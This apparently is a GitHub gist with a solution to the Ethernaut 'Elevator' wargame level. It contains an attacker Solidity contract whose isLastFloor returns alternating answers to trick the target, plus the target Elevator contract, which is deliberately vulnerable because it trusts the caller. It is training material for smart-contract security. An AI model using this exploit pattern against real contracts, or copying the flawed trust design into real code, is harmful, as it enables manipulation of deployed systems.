Created
January 17, 2022 19:18
-
-
Save tennisonchan/964bc61cace1c01c02615331f9b75208 to your computer and use it in GitHub Desktop.
Ethernaut - Level 11 - Elevator
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import "./Elevator.sol"; | |
contract Controll { | |
Elevator public target; | |
uint public count; | |
constructor(address targetAddress) public { | |
// 0x2bE60A41Fadb92c02c0D9Af79D61F8756CF77349 | |
target = Elevator(targetAddress); | |
count = 0; | |
} | |
function isLastFloor(uint _floor) external returns (bool) { | |
count++; | |
return count % 2 == 0; | |
} | |
function goToTheRoof(uint _floor) public { | |
target.goTo(_floor); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
interface Building { | |
function isLastFloor(uint) external returns (bool); | |
} | |
contract Elevator { | |
bool public top; | |
uint public floor; | |
function goTo(uint _floor) public { | |
Building building = Building(msg.sender); | |
if (! building.isLastFloor(_floor)) { | |
floor = _floor; | |
top = building.isLastFloor(floor); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment